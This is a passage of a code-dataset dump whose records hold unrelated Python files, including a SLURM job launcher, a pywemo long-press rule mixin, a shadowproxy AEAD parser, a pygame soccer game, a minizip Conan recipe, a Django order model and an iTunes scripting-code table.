L5\nL5.next = L6\nL6.next = None\n\nsolution = Solution()\n\n\n\n","sub_path":"Algorithm01-50/02_Add_Two_Numbers.py","file_name":"02_Add_Two_Numbers.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"282986095","text":"''' Main runscript for batch-starting SLURM job arrays'''\n\nimport yaml\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--cfg\", default=\"experiment.yaml\",\n help=\"Experiment config file\")\nparser.add_argument(\"--jobdir\", default=\"jobs\",\n help=\"Where to store generated slurm jobfiles and logs\")\nparser.add_argument(\"--local\", dest='local', action='store_true',\n help=\"No cluster; Run in the current session\")\nparser.add_argument(\"--no_wandb\", dest='no_wandb',\n action='store_true', help=\"Don't log to Weights & Biases\")\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n with open(args.cfg, \"r\") as f:\n config = yaml.safe_load(f)\n\n for experiment in config[\"run\"]:\n exp_config = config[experiment]\n jobfile = os.path.join(args.jobdir, \"{}.job\".format(experiment))\n jobargs = (config[\"container\"], exp_config[\"script\"],\n exp_config[\"flagfile\"])\n cmd = \"singularity exec {} python3 {} --flagfile {}\".format(*jobargs)\n if args.no_wandb:\n cmd = cmd + \" --no_wandb\"\n\n with open(jobfile, \"w\") as f:\n f.writelines(\"#!/bin/bash\\n\")\n f.writelines(\n \"#SBATCH --partition {}\\n\".format(exp_config[\"partition\"]))\n f.writelines(\"#SBATCH --nodes {}\\n\".format(exp_config[\"nodes\"]))\n f.writelines(\n \"#SBATCH --ntasks-per-node {}\\n\".format(exp_config[\"ntasks-per-node\"]))\n f.writelines(\n \"#SBATCH --mem-per-cpu {}\\n\".format(exp_config[\"mem-per-cpu\"]))\n f.writelines(\"#SBATCH --time {}\\n\".format(exp_config[\"time\"]))\n f.writelines(\n \"#SBATCH --job-name {}\\n\".format(exp_config[\"job-name\"]))\n f.writelines(\"#SBATCH --output {}\\n\".format(exp_config[\"output\"]))\n f.writelines(\"module purge\\n\")\n f.writelines(cmd)\n\n if args.local:\n os.system(\"bash {}\".format(jobfile))\n else:\n os.system(\"sbatch {}\".format(jobfile))\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"158107723","text":"\"\"\"Methods to make changes to the long press rules for a device.\n\nWemo devices store a database of rules that configure actions for the device. A\nlong press rule is activated when the button on the device is pressed for 2\nseconds. A person can press the button for 2 seconds and, based on the rules\nconfigured for the device, it will turn on/off/toggle other Wemo devices on the\nnetwork. The methods in this mixin allow editing of the devices that are\ncontrolled by a long press.\n\"\"\"\nimport logging\nfrom enum import Enum\nfrom typing import FrozenSet, Iterable, Optional\n\nfrom .rules_db import RuleDevicesRow, RulesDb, RulesRow, rules_db_from_device\n\nLOG = logging.getLogger(__name__)\n\n# RulesRow.Type values.\nRULE_TYPE_LONG_PRESS = \"Long Press\"\n\nVIRTUAL_DEVICE_UDN = \"uuid:Socket-1_0-PyWemoVirtualDevice\"\n\n\nclass ActionType(Enum):\n \"\"\"Action to perform when a long press rule is triggered.\"\"\"\n\n TOGGLE = 2.0\n ON = 1.0\n OFF = 0.0\n\n\ndef ensure_long_press_rule_exists(\n rules_db: RulesDb, device_name: str, device_udn: str\n) -> RulesRow:\n \"\"\"Ensure that a long press rule exists and is enabled for the device.\n\n Returns the long press rule.\n \"\"\"\n current_rules = rules_db.rules_for_device()\n for (rule, _) in current_rules:\n if rule.State != \"1\":\n LOG.info(\"Enabling long press rule for device %s\", device_name)\n rule.State = \"1\"\n rule.update_db(rules_db.cursor())\n return rule\n\n LOG.info(\"Adding long press rule for device %s\", device_name)\n current_rules = rules_db.rules_for_device()\n max_order = max(\n rules_db.rules.values(), key=lambda r: r.RuleOrder, default=-1\n )\n new_rule = RulesRow(\n Name=f\"{device_name} Long Press Rule\",\n Type=RULE_TYPE_LONG_PRESS,\n RuleOrder=max_order + 1,\n StartDate=\"12201982\",\n EndDate=\"07301982\",\n State=\"1\",\n Sync=\"NOSYNC\",\n )\n rules_db.add_rule(new_rule)\n rules_db.add_rule_devices(\n RuleDevicesRow(\n RuleID=new_rule.RuleID,\n DeviceID=device_udn,\n GroupID=0,\n DayID=-1,\n StartTime=60,\n RuleDuration=86340,\n StartAction=ActionType.TOGGLE.value,\n EndAction=-1.0,\n SensorDuration=-1,\n Type=-1,\n Value=-1,\n Level=-1,\n ZBCapabilityStart=\"\",\n ZBCapabilityEnd=\"\",\n OnModeOffset=-1,\n OffModeOffset=-1,\n CountdownTime=-1,\n EndTime=86400,\n )\n )\n return new_rule\n\n\nclass LongPressMixin:\n \"\"\"Methods to make changes to the long press rules for a device.\"\"\"\n\n # pylint: disable=unsubscriptable-object\n # https://github.com/PyCQA/pylint/issues/3882#issuecomment-745148724\n def list_long_press_udns(self) -> FrozenSet[str]:\n \"\"\"Return a list of device UDNs that are configured for long press.\"\"\"\n devices = []\n with rules_db_from_device(self) as rules_db:\n for rule, _ in rules_db.rules_for_device(\n rule_type=RULE_TYPE_LONG_PRESS\n ):\n devices.extend(rules_db.get_target_devices_for_rule(rule))\n return frozenset(devices)\n\n def add_long_press_udns(self, device_udns: Iterable[str]) -> None:\n \"\"\"Add a list of device UDNs to be configured for long press.\"\"\"\n with rules_db_from_device(self) as rules_db:\n rule = ensure_long_press_rule_exists(rules_db, self.name, self.udn)\n for udn in device_udns:\n if not udn:\n continue\n if udn not in rules_db.get_target_devices_for_rule(rule):\n rules_db.add_target_device_to_rule(rule, udn)\n\n def remove_long_press_udns(self, device_udns: Iterable[str]) -> None:\n \"\"\"Remove a list of device UDNs from the long press configuration.\"\"\"\n with rules_db_from_device(self) as rules_db:\n for rule, _ in rules_db.rules_for_device(\n rule_type=RULE_TYPE_LONG_PRESS\n ):\n for udn in device_udns:\n if udn in rules_db.get_target_devices_for_rule(rule):\n rules_db.remove_target_device_from_rule(rule, udn)\n\n def get_long_press_action(self) -> Optional[ActionType]:\n \"\"\"Fetch the ActionType for the long press rule.\n\n Will return None if no long press rule is configured for the device.\n \"\"\"\n with rules_db_from_device(self) as rules_db:\n for _, device in rules_db.rules_for_device(\n rule_type=RULE_TYPE_LONG_PRESS\n ):\n return ActionType(device.StartAction)\n return None\n\n def set_long_press_action(self, action: ActionType) -> None:\n \"\"\"Set the ActionType for the long press rule.\"\"\"\n with rules_db_from_device(self) as rules_db:\n ensure_long_press_rule_exists(rules_db, self.name, self.udn)\n for _, device in rules_db.rules_for_device(\n rule_type=RULE_TYPE_LONG_PRESS\n ):\n device.StartAction = action.value\n\n def ensure_long_press_virtual_device(self) -> None:\n \"\"\"Configure the device to notify pywemo when a long-press happens.\n\n The ensure_long_press_virtual_device method ensures that the pywemo\n virtual device is configured in the rules database for when a long\n press rule is triggered.\n \"\"\"\n self.add_long_press_udns([VIRTUAL_DEVICE_UDN])\n\n def remove_long_press_virtual_device(self) -> None:\n \"\"\"Remove the pywemo virtual device from the long press.\"\"\"\n self.remove_long_press_udns([VIRTUAL_DEVICE_UDN])\n","sub_path":"pywemo/ouimeaux_device/api/long_press.py","file_name":"long_press.py","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"60723459","text":"import iofree\n\n\nclass AEADProtocol:\n def __init__(self, cipher):\n self.cipher = cipher\n\n def parser(self, *args, **kwargs):\n return iofree.Parser(self.reader(*args, **kwargs))\n\n def reader(self):\n salt = yield from iofree.read(self.cipher.SALT_SIZE)\n self.decrypt = self.cipher.make_decrypter(salt)\n while True:\n payload = yield from self.read_some()\n yield from iofree.write(payload)\n\n def read_some(self):\n chunk0 = yield from iofree.read(2 + self.cipher.TAG_SIZE)\n data = memoryview(chunk0)\n length_bytes = self.decrypt(data[:2], data[2:])\n length = int.from_bytes(length_bytes, \"big\")\n if length != length & 0x3FFF:\n raise Exception(\"invalid length\")\n chunk1 = yield from iofree.read(length + self.cipher.TAG_SIZE)\n data = memoryview(chunk1)\n payload = self.decrypt(data[:length], data[length:])\n return payload\n","sub_path":"shadowproxy/proxies/aead/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"419823444","text":"import pygame\n#from Soccer_player import Soccer_player\nimport random\nfrom pygame.sprite import Sprite\nfrom math import fabs, hypot\nfrom random import randint\nfrom Player import Player\nfrom Ball import Ball\nfrom Player2 import Player2 \nfrom Player3 import Player3\nfrom Player4 import Player4\nimport time\n\npygame.init()\npygame.mixer.init()\n\nscreen_size = (1295, 830)\nscreen = pygame.display.set_mode(screen_size)\n\nbackground_image = pygame.image.load(\"field.png\")\n# player_image = pygame.image.load(\"soccer_player.png\")\n# player2_image = pygame.image.load(\"soccer_player2.png\")\npygame.display.set_caption(\"Soccer Game!\")\nmusic = pygame.mixer.music.load(\"01 New Coat Of Paint.mp3\")\n# ball_image = pygame.image.load(\"soccer_ball.png\")\npygame.mixer.music.play(-1, 0.0)\n\n\ncounter, text = 1, '1'.rjust(3)\npygame.time.set_timer(pygame.USEREVENT, 1000)\nfont = pygame.font.SysFont('Consolas', 30)\n\nplayer = Player(screen)\n# player = {\n# \"x\": 200,\n# \"y\": 100,\n# \"speed\": 3\n# }\n\nplayer2 = Player2(screen)\n# player2 = {\n# \"x\": 800,\n# \"y\": 100,\n# \"speed\": 1\n# }\n\nplayer3 = Player3(screen)\n\nplayer4 = Player4(screen)\n\nball = Ball(screen)\n# ball = {\n# \"x\": 490,\n# \"y\": 180,\n# 'speed': 1\n# }\n\nkeys = {\n \"up\": 273,\n \"down\": 274,\n \"right\": 275,\n \"left\": 276\n}\n\nkeys_down = {\n \"up\": False,\n \"down\": False,\n \"left\": False,\n \"right\": False\n}\n# score = 0\n# black = (0,0,0)\n# def showScore(choice=1):\n# sFont = pygame.font.SysFont(\"monaco\", 24)\n# Ssurf = sFont.render(\"Score: {0}\" .format(score), True, black)\n# Srect = Ssurf.get_rect()\n# if choice == 1:\n# Srect.midtop = (80, 10)\n# else: \n# Srect.midtop = (360, 120)\n# screen.blit(Ssurf, Srect)\n# pygame.display.flip()\nclock = pygame.time.Clock()\n\ngame_on = True\nwhile game_on:\n\n\n\n#loop through all pygame events\n#this is how to exit game\n for event in pygame.event.get():\n if (event.type == pygame.QUIT):\n # the user clicked the red x in the top left\n game_on = False\n elif event.type == pygame.KEYDOWN:\n # print \"User pressed a key!\"\n if event.key == keys['up']:\n # user pressed up!!\n # hero['y'] -= hero['speed']\n keys_down['up'] = True\n elif event.key == keys['down']:\n # hero['y'] += hero['speed']\n keys_down['down'] = True\n elif event.key == keys['left']:\n # hero['x'] -= hero['speed']\n keys_down['left'] = True\n elif event.key == keys['right']:\n # hero['x'] += hero['speed']\n keys_down['right'] = True\n elif event.type == pygame.KEYUP:\n # the user let go of a key. See if it's one that matters\n if event.key == keys['up']:\n # user let go of the upkey. Flip the bool\n keys_down['up'] = False\n if event.key == keys['down']:\n keys_down['down'] = False\n if event.key == keys['right']:\n keys_down['right'] = False\n if event.key == keys['left']:\n keys_down['left'] = False\n\n if keys_down['up']:\n if player.y > 0:\n player.y -= player.speed\n elif keys_down['down']:\n if player.y < 744:\n player.y += player.speed\n if keys_down['left']:\n if player.x > 0:\n player.x -= player.speed\n elif keys_down['right']:\n if player.x < 1247:\n player.x += player.speed\n\n # if keys_down['up']:\n # if player['y'] > 0:\n # player['y'] -= player['speed']\n # elif keys_down['down']:\n # if player['y'] < 440:\n # player['y'] += player['speed']\n # if keys_down['left']:\n # if player['x'] > 0:\n # player['x'] -= player['speed']\n # elif keys_down['right']:\n # if player['x'] < 960:\n # player['x'] += player['speed']\n\n\n # if ball.y > 0:\n # ball.y -= ball.speed\n # if ball.y < 496:\n # ball.y += ball.speed\n # if ball.x > 0:\n # ball.x -= ball.speed\n # if ball.x < 976:\n # ball.x += ball.speed\n \n # if ball['y'] > 0:\n # ball['y'] -= ball['speed']\n # if ball['y'] < 496:\n # ball['y'] += ball['speed']\n # if ball['x'] > 0:\n # ball['x'] -= ball['speed']\n # if ball['x'] < 976:\n # ball['x'] += ball['speed']\n\n if player2.y > 0:\n player2.y -= player2.speed\n if player2.y < 744:\n player2.y += player2.speed\n if player2.x > 0:\n player2.x -= player2.speed\n if player2.x < 1247:\n player2.x += player2.speed\n \n\n if player3.y > 0:\n player3.y -= player3.speed\n if player3.y < 744:\n player3.y += player3.speed\n if player3.x > 0:\n player3.x -= player3.speed\n if player3.x < 1247:\n player3.x += player3.speed\n\n if player4.y > 0:\n player4.y -= player4.speed\n if player4.y < 744:\n player4.y += player4.speed\n if player4.x > 0:\n player4.x -= player4.speed\n if player4.x < 1247:\n player4.x += player4.speed\n \n # player2['y'] -= player2['speed']\n # if player2['y'] < 440:\n # player2['y'] += player2['speed']\n # if player2['x'] > 0:\n # player2['x'] -= player2['speed']\n # if player2['x'] < 960:\n # player2['x'] += player2['speed']\n\n\n # dx = ball.x - player.x\n # dy = ball.y - player.y\n # dist = hypot(dx,dy)\n\n # dx = dx / dist\n # dy = dy / dist\n\n # ball.x += dx * ball.speed\n # ball.y += dy * ball.speed\n\n\n\n\n # dx = player2.x - ball.x\n # dy = player2.y - ball.y\n # dist = hypot(dx,dy)\n\n # dx = dx / dist\n # dy = dy / dist\n\n # player2.x -= dx * player2.speed\n # player2.y -= dy * player2.speed\n\n\n\n\n\n\n \n # for event in pygame.event.get():\n # if event.type == pygame.QUIT:\n # game_on = False\n # elif event.type == pygame.KEYDOWN:\n # #print \"User pressed a key!\"\n # if event.key == keys[\"up\"]: \n # 273 is the up arrow key\n # #player['y'] -= player['speed']\n # #print \"key is pressed\"\n # keys_down[\"up\"] == True\n # elif event.key == keys[\"down\"]:\n # #player ['y'] += player [\"speed\"]\n # keys_down[\"down\"] == True\n # elif event.key == keys[\"right\"]:\n # #player ['x'] += player['speed']\n # keys_down[\"right\"] == True\n # elif event.key == keys[\"left\"]:\n # #player['x'] -= player['speed']\n # keys_down[\"left\"] == True\n\n\n # elif event.type == pygame.KEYUP:\n # if event.key == keys[\"up\"]:\n # keys_down[\"up\"] = False\n # if event.key == keys[\"down\"]:\n # keys_down[\"down\"] = False\n # if event.key == keys[\"right\"]:\n # keys_down[\"right\"] = False\n # if event.key == keys[\"left\"]:\n # keys_down[\"left\"] = False\n\n # if keys_down[\"up\"]:\n # player[\"y\"] -= player[\"speed\"]\n # elif keys_down[\"down\"]:\n # player[\"y\"] += player[\"speed\"]\n # if keys_down[\"left\"]:\n # player[\"x\"] -= player[\"speed\"]\n # elif keys_down[\"right\"]:\n # player[\"x\"] += player[\"speed\"]\n\n distance_between = fabs(player.x - ball.x) + fabs(player.y - ball.y)\n if distance_between < 32:\n (ball.x,ball.y) = (player.x, player.y)\n player2.has_ball =False\n player3.has_ball =False \n player4.has_ball =False\n distance_between = fabs(player2.x - ball.x) + fabs(player2.y - ball.y)\n if distance_between < 32:\n (ball.x,ball.y) = (player2.x, player2.y)\n player2.has_ball = True\n # distance_between = fabs(player3.x - ball.x) + fabs(player3.y - ball.y)\n # if distance_between < 32:\n # (ball.x,ball.y) = (player3.x, player3.y)\n # player3.has_ball = True\n\n # elif distance_between == 0:\n # (player2.x,player2.y) -= (player.x,player.y)\n \n dx = player2.x - player.x\n dy = player2.y - player.y\n dist = hypot(dx,dy)\n\n dx = dx / dist\n dy = dy / dist\n\n if player2.has_ball == True:\n player2.x += dx * player2.speed\n player2.y += dy * player2.speed \n else:\n player2.x -= dx * player2.speed\n player2.y -= dy * player2.speed\n\n\n if player2.has_ball == False:\n dx = player2.x - ball.x\n dy = player2.y - ball.y\n dist = hypot(dx,dy)\n\n dx = dx / dist \n dy = dy / dist\n\n player2.x -= dx * player2.speed\n player2.y -= dy * player2.speed\n\n distance_between = fabs(player3.x - ball.x) + fabs(player3.y - ball.y)\n if distance_between < 32:\n (ball.x,ball.y) = (player3.x, player3.y)\n player3.has_ball = True\n\n dx = player3.x - player.x\n dy = player3.y - player.y\n dist = hypot(dx,dy)\n\n dx = dx / dist\n dy = dy / dist\n\n if player3.has_ball == True:\n player3.x += dx * player3.speed\n player3.y += dy * player3.speed \n else:\n player3.x -= dx * player3.speed\n player3.y -= dy * player3.speed\n\n\n if player3.has_ball == False:\n dx = player3.x - ball.x\n dy = player3.y - ball.y\n dist = hypot(dx,dy)\n\n dx = dx / dist \n dy = dy / dist\n\n player3.x -= dx * player3.speed\n player3.y -= dy * player3.speed\n\n\n distance_between = fabs(player4.x - ball.x) + fabs(player4.y - ball.y)\n if distance_between < 32:\n (ball.x,ball.y) = (player4.x, player4.y)\n player4.has_ball = True\n\n dx = player4.x - player.x\n dy = player4.y - player.y\n dist = hypot(dx,dy)\n\n dx = dx / dist\n dy = dy / dist\n\n if player4.has_ball == True:\n player4.x += dx * player4.speed\n player4.y += dy * player4.speed \n else:\n player4.x -= dx * player4.speed\n player4.y -= dy * player4.speed\n\n\n if player4.has_ball == False:\n dx = player4.x - ball.x\n dy = player4.y - ball.y\n dist = hypot(dx,dy)\n\n dx = dx / dist \n dy = dy / dist\n\n player4.x -= dx * player4.speed\n player4.y -= dy * player4.speed\n\n game_on = True\n while game_on: \n for e in pygame.event.get():\n if e.type == pygame.USEREVENT: \n counter += 1\n text = str(counter).rjust(3) if counter < 10 else 'GGGGGOOOAAAAALLLLL!'\n if e.type == pygame.QUIT: break\n else:\n # screen.fill((255, 255, 255))\n screen.blit(font.render(text, True, (0, 0, 0)), (32, 48))\n pygame.display.flip()\n clock.tick(60)\n continue\n break \n # print \"collision!\"\n # screen.blit(clock)\n screen.blit(background_image, [0,0])\n # screen.blit(player_image, [player[\"x\"], player[\"y\"]])\n player2.draw_me()\n player3.draw_me()\n player4.draw_me()\n player.draw_me()\n\n ball.draw_me()\n # screen.blit(player2_image, [player2[\"x\"], player2[\"y\"]])\n # screen.blit(ball_image, [ball[\"x\"], ball[\"y\"]])\n \n # showScore()\n pygame.display.flip()\n\n# counter, text = 1, '1'.rjust(3)\n# pygame.time.set_timer(pygame.USEREVENT, 1000)\n# font = pygame.font.SysFont('Consolas', 30)\n\n# while game_on = True:\n# for e in pygame.event.get():\n# if e.type == pygame.USEREVENT: \n# counter += 1\n# text = str(counter).rjust(3) if counter < 10 else 'GGGGGOOOAAAAALLLLL!'\n# if e.type == pygame.QUIT: break\n# else:\n# screen.fill((255, 255, 255))\n# screen.blit(font.render(text, True, (0, 0, 0)), (32, 48))\n# pygame.display.flip()\n# clock.tick(60)\n# continue\n# break","sub_path":"soccer3.py","file_name":"soccer3.py","file_ext":"py","file_size_in_byte":11837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"610366063","text":"from conans import ConanFile, CMake, tools\n\nOptions = [ (\"MZ_COMPAT\", True), (\"MZ_ZLIB\", True), (\"MZ_BZIP2\", True), (\"MZ_LZMA\", True),\n (\"MZ_PKCRYPT\", True), (\"MZ_WZAES\", True), (\"MZ_LIBCOMP\", False), (\"MZ_OPENSSL\", False),\n (\"MZ_BRG\", False), (\"MZ_COMPRESS_ONLY\", False), (\"MZ_DECOMPRESS_ONLY\", False),\n (\"MZ_BUILD_TEST\", False), (\"MZ_BUILD_UNIT_TEST\", False), (\"MZ_BUILD_FUZZ_TEST\", False) ]\n\nclass MinizipConan(ConanFile):\n name = \"minizip\"\n version = \"2.8.9\"\n license = \"zlib\"\n author = \"nmoinvaz\"\n url = \"https://github.com/akemimadoka/minizip\"\n topics = (\"C++\")\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n\n options = {\"shared\": [True, False]}\n options.update({ opt[0] : [True, False] for opt in Options })\n \n default_options = [\"shared=False\"]\n default_options.extend([ \"{}={}\".format(opt[0], opt[1]) for opt in Options ])\n default_options = tuple(default_options)\n\n generators = \"cmake\"\n\n exports_sources = \"lib*\", \"test*\", \"LICENSE\", \"CMakeLists.txt\", \"minizip.pc.cmakein\", \"*.c\", \"*.h\"\n\n def requirements(self):\n if self.options.MZ_ZLIB:\n self.requires(\"zlib/1.2.11\")\n if self.options.MZ_BZIP2:\n self.requires(\"bzip2/1.0.8\")\n if self.options.MZ_OPENSSL:\n self.requires(\"openssl/1.1.1d\")\n if not self.settings.os in [\"Windows\", \"WindowsStore\", \"WindowsCE\"]:\n self.requires(\"libiconv/1.15\")\n\n def configure_cmake(self):\n cmake = CMake(self)\n\n for opt in Options:\n cmake.definitions[opt[0]] = getattr(self.options, opt[0])\n\n cmake.configure()\n return cmake\n\n def build(self):\n cmake = self.configure_cmake()\n cmake.build()\n\n def package(self):\n cmake = self.configure_cmake()\n cmake.install()\n\n def package_info(self):\n self.cpp_info.libs = tools.collect_libs(self)\n if self.settings.os == \"Windows\":\n self.cpp_info.libs.append(\"Crypt32\")\n","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"509048917","text":"from django.db import models\nfrom cart.models import Cart\nfrom categoryApp.utils import unique_order_id_generator\nfrom django.db.models.signals import pre_save,post_save\nfrom django.contrib.auth.models import User\n# Create your models here.\nORDER_STATUS_CHOICES = (\n ('created', 'Created'),\n ('paid', 'Paid'),\n ('shipped', 'Shipped'),\n)\nclass Order(models.Model):\n order_id = models.CharField(max_length=120,blank=True)\n cart = models.OneToOneField(Cart,on_delete=models.CASCADE,null=True,blank=True)\n user = models.ForeignKey(User,on_delete=models.CASCADE,null=True,blank=True)\n active = models.BooleanField(default=True)\n total = models.DecimalField(default=0.00,max_digits=100,decimal_places=2)\n address = models.CharField(max_length=120,blank=True)\n\n def __str__(self):\n return self.order_id\n\n def update_total(self):\n cart_total=self.cart.total\n self.total=cart_total\n self.save()\n return cart_total\n\ndef pre_save_create_order_id(sender,instance,*args,**kwargs):\n if not instance.order_id:\n instance.order_id = unique_order_id_generator(instance)\n\npre_save.connect(pre_save_create_order_id,sender=Order)\n\ndef post_save_order(sender,instance,created,*args,**kwargs):\n if created:\n instance.total=instance.update_total()\n instance.save()\n #print(\"ch\")\n print(instance.total)\n\npost_save.connect(post_save_order,sender=Order)\n\ndef post_save_cart_total(sender,instance,created,*args,**kwargs):\n if not created:\n #print(\"f\")\n print(instance.id)\n qs=Order.objects.filter(cart__id=instance.id)\n if qs.count()==1:\n qs.first().update_total()\n qs.first().save()\n\npost_save.connect(post_save_cart_total,sender=Cart)\n","sub_path":"order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"554057307","text":"class Solution(object):\r\n def intersection(self, nums1, nums2):\r\n \"\"\"\r\n :type nums1: List[int]\r\n :type nums2: List[int]\r\n :rtype: List[int]\r\n \"\"\"\r\n \r\n nums1 = set(nums1)\r\n nums2 = set(nums2)\r\n \r\n return list(nums1&nums2)\r\n\r\nif __name__ =='__main__':\r\n\r\n test = Solution()\r\n print(test.intersection([2,3,4,4],[2,4,5]))\r\n","sub_path":"intersection.py","file_name":"intersection.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"90867658","text":"# Taken from https://github.com/abarnert/itunesterms\n\nversion = 1.1\npath = '/Applications/iTunes.app'\n\nclasses = \\\n[('print_settings', b'pset'),\n ('application', b'capp'),\n ('artwork', b'cArt'),\n ('audio_CD_playlist', b'cCDP'),\n ('audio_CD_track', b'cCDT'),\n ('browser_window', b'cBrW'),\n ('device_playlist', b'cDvP'),\n ('device_track', b'cDvT'),\n ('encoder', b'cEnc'),\n ('EQ_preset', b'cEQP'),\n ('EQ_window', b'cEQW'),\n ('file_track', b'cFlT'),\n ('folder_playlist', b'cFoP'),\n ('item', b'cobj'),\n ('library_playlist', b'cLiP'),\n ('playlist', b'cPly'),\n ('playlist_window', b'cPlW'),\n ('radio_tuner_playlist', b'cRTP'),\n ('shared_track', b'cShT'),\n ('source', b'cSrc'),\n ('track', b'cTrk'),\n ('URL_track', b'cURT'),\n ('user_playlist', b'cUsP'),\n ('visual', b'cVis'),\n ('window', b'cwin')]\n\nenums = \\\n[('track_listing', b'kTrk'),\n ('album_listing', b'kAlb'),\n ('cd_insert', b'kCDi'),\n ('standard', b'lwst'),\n ('detailed', b'lwdt'),\n ('stopped', b'kPSS'),\n ('playing', b'kPSP'),\n ('paused', b'kPSp'),\n ('fast_forwarding', b'kPSF'),\n ('rewinding', b'kPSR'),\n ('off', b'kRpO'),\n ('one', b'kRp1'),\n ('all', b'kAll'),\n ('small', b'kVSS'),\n ('medium', b'kVSM'),\n ('large', b'kVSL'),\n ('library', b'kLib'),\n ('iPod', b'kPod'),\n ('audio_CD', b'kACD'),\n ('MP3_CD', b'kMCD'),\n ('device', b'kDev'),\n ('radio_tuner', b'kTun'),\n ('shared_library', b'kShd'),\n ('unknown', b'kUnk'),\n ('albums', b'kSrL'),\n ('artists', b'kSrR'),\n ('composers', b'kSrC'),\n ('displayed', b'kSrV'),\n ('songs', b'kSrS'),\n ('none', b'kNon'),\n ('Books', b'kSpA'),\n ('folder', b'kSpF'),\n ('Genius', b'kSpG'),\n ('iTunes_U', b'kSpU'),\n ('Library', b'kSpL'),\n ('Movies', b'kSpI'),\n ('Music', b'kSpZ'),\n ('Party_Shuffle', b'kSpS'),\n ('Podcasts', b'kSpP'),\n ('Purchased_Music', b'kSpM'),\n ('TV_Shows', b'kSpT'),\n ('movie', b'kVdM'),\n ('music_video', b'kVdV'),\n ('TV_show', b'kVdT'),\n ('user', b'kRtU'),\n ('computed', b'kRtC')]\n\nproperties = \\\n[('copies', b'lwcp'),\n ('collating', b'lwcl'),\n ('starting_page', b'lwfp'),\n ('ending_page', b'lwlp'),\n ('pages_across', b'lwla'),\n ('pages_down', b'lwld'),\n ('error_handling', b'lweh'),\n ('requested_print_time', b'lwqt'),\n ('printer_features', b'lwpf'),\n ('fax_number', b'faxn'),\n ('target_printer', b'trpr'),\n ('current_encoder', b'pEnc'),\n ('current_EQ_preset', b'pEQP'),\n ('current_playlist', b'pPla'),\n ('current_stream_title', b'pStT'),\n ('current_stream_URL', b'pStU'),\n ('current_track', b'pTrk'),\n ('current_visual', b'pVis'),\n ('EQ_enabled', b'pEQ '),\n ('fixed_indexing', b'pFix'),\n ('frontmost', b'pisf'),\n ('full_screen', b'pFSc'),\n ('name', b'pnam'),\n ('mute', b'pMut'),\n ('player_position', b'pPos'),\n ('player_state', b'pPlS'),\n ('selection', b'sele'),\n ('sound_volume', b'pVol'),\n ('version', b'vers'),\n ('visuals_enabled', b'pVsE'),\n ('visual_size', b'pVSz'),\n ('data', b'pPCT'),\n ('description', b'pDes'),\n ('downloaded', b'pDlA'),\n ('format', b'pFmt'),\n ('kind', b'pKnd'),\n ('raw_data', b'pRaw'),\n ('artist', b'pArt'),\n ('compilation', b'pAnt'),\n ('composer', b'pCmp'),\n ('disc_count', b'pDsC'),\n ('disc_number', b'pDsN'),\n ('genre', b'pGen'),\n ('year', b'pYr '),\n ('location', b'pLoc'),\n ('minimized', b'pMin'),\n ('view', b'pPly'),\n ('band_1', b'pEQ1'),\n ('band_2', b'pEQ2'),\n ('band_3', b'pEQ3'),\n ('band_4', b'pEQ4'),\n ('band_5', b'pEQ5'),\n ('band_6', b'pEQ6'),\n ('band_7', b'pEQ7'),\n ('band_8', b'pEQ8'),\n ('band_9', b'pEQ9'),\n ('band_10', b'pEQ0'),\n ('modifiable', b'pMod'),\n ('preamp', b'pEQA'),\n ('update_tracks', b'pUTC'),\n ('container', b'ctnr'),\n ('id', b'ID '),\n ('index', b'pidx'),\n ('persistent_ID', b'pPIS'),\n ('duration', b'pDur'),\n ('parent', b'pPlP'),\n ('shuffle', b'pShf'),\n ('size', b'pSiz'),\n ('song_repeat', b'pRpt'),\n ('special_kind', b'pSpK'),\n ('time', b'pTim'),\n ('visible', b'pvis'),\n ('capacity', b'capa'),\n ('free_space', b'frsp'),\n ('album', b'pAlb'),\n ('album_artist', b'pAlA'),\n ('album_rating', b'pAlR'),\n ('album_rating_kind', b'pARk'),\n ('bit_rate', b'pBRt'),\n ('bookmark', b'pBkt'),\n ('bookmarkable', b'pBkm'),\n ('bpm', b'pBPM'),\n ('category', b'pCat'),\n ('comment', b'pCmt'),\n ('database_ID', b'pDID'),\n ('date_added', b'pAdd'),\n ('enabled', b'enbl'),\n ('episode_ID', b'pEpD'),\n ('episode_number', b'pEpN'),\n ('EQ', b'pEQp'),\n ('finish', b'pStp'),\n ('gapless', b'pGpl'),\n ('grouping', b'pGrp'),\n ('long_description', b'pLds'),\n ('lyrics', b'pLyr'),\n ('modification_date', b'asmo'),\n ('played_count', b'pPlC'),\n ('played_date', b'pPlD'),\n ('podcast', b'pTPc'),\n ('rating', b'pRte'),\n ('rating_kind', b'pRtk'),\n ('release_date', b'pRlD'),\n ('sample_rate', b'pSRt'),\n ('season_number', b'pSeN'),\n ('shufflable', b'pSfa'),\n ('skipped_count', b'pSkC'),\n ('skipped_date', b'pSkD'),\n ('show', b'pShw'),\n ('sort_album', b'pSAl'),\n ('sort_artist', b'pSAr'),\n ('sort_album_artist', b'pSAA'),\n ('sort_name', b'pSNm'),\n ('sort_composer', b'pSCm'),\n ('sort_show', b'pSSN'),\n ('start', b'pStr'),\n ('track_count', b'pTrC'),\n ('track_number', b'pTrN'),\n ('unplayed', b'pUnp'),\n ('video_kind', b'pVdK'),\n ('volume_adjustment', b'pAdj'),\n ('address', 